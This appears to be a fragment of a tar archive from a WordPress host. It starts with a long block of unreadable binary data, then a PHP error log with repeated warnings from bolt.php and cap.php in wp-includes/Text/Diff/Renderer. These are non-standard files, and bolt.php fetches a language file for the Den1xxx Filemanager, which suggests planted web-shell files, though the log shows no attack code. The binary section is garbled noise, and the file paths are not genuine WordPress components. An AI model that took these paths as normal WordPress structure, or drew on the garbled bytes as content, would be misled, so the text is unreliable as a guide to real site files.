 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
